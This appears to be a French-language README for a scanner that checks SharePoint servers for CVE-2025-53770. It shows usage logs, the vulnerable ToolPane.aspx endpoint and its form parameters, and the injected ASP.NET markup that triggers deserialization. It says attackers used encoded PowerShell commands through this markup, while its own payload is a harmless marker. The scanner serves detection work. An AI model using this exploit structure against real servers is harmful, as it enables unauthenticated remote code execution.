
Scanner for the SharePoint CVE-2025-53770 RCE zero day vulnerability.
Ce scanner cible la vulnérabilité d'exécution de code à distance non authentifiée de SharePoint, associée au numéro CVE CVE-2025-53770. Le code a été écrit en rétro-concevant une charge utile observée dans la nature.
Utilisez-le à vos propres risques, je décline toute responsabilité en cas d'impact négatif.
Il tente d'exploiter la vulnérabilité en injectant un marqueur dans le widget SharePoint ToolBox. Si ce marqueur inoffensif est trouvé dans la réponse du serveur SharePoint, l'hôte est marqué comme vulnérable.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Toute personne exécutant la version on-prem du serveur SharePoint sans KB5002768 & KB5002754.
La vulnérabilité s'appuie vraisemblablement sur une vulnérabilité précédemment divulguée pour SharePoint, CVE-2025-49706.
En envoyant une requête HTTP POST vers https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx avec une charge utile compressée en GZIP et encodée en BASE64, vous pouvez obtenir une exécution de code à distance sous l'identité du processus d'exécution de SharePoint.
Deux paramètres de formulaire sont importants ici :
MSOTlPn_Uri : Chemin source du contrôleCelui-ci prétend référencer un contrôle SharePoint légitime (AclEditor.ascx) et trompe SharePoint en lui permettant de modifier le composant Web.
Il semble s'agir d'une valeur factice juste pour passer la validation.
La charge utile malveillante d'origine inclut MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, mais cela ne semble pas être utilisé à ce stade.
MSOTlPn_DWP : Configuration partielle du composant Web.Ce paramètre injecte des directives ASP.NET personnalisées (<%@ Register %>) et du balisage côté serveur (<Scorecard:ExcelDataSet>).
Le paramètre CompressedDataTable contient des données sérialisées contrôlées par l'attaquant (GZIP + base64), déclenchant l'exécution de code à distance.
Cette charge utile suit une certaine structure :
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Si un contrôle comme Scorecard:ExcelDataSet existe et que sa propriété CompressedDataTable est définie, il est désérialisé directement par l'analyseur DWP de SharePoint.
La charge utile elle-même peut être assez intéressante, car elle peut contenir un System.DelegateSerializationHolder qui déclenche une exécution de code à distance par désérialisation.
Les acteurs malveillants ont abusé de cela pour passer /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> dans leur charge utile afin d'exécuter du code.
Dans notre cas, nous passons simplement un espace réservé statique pour prouver l'exploitabilité ;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>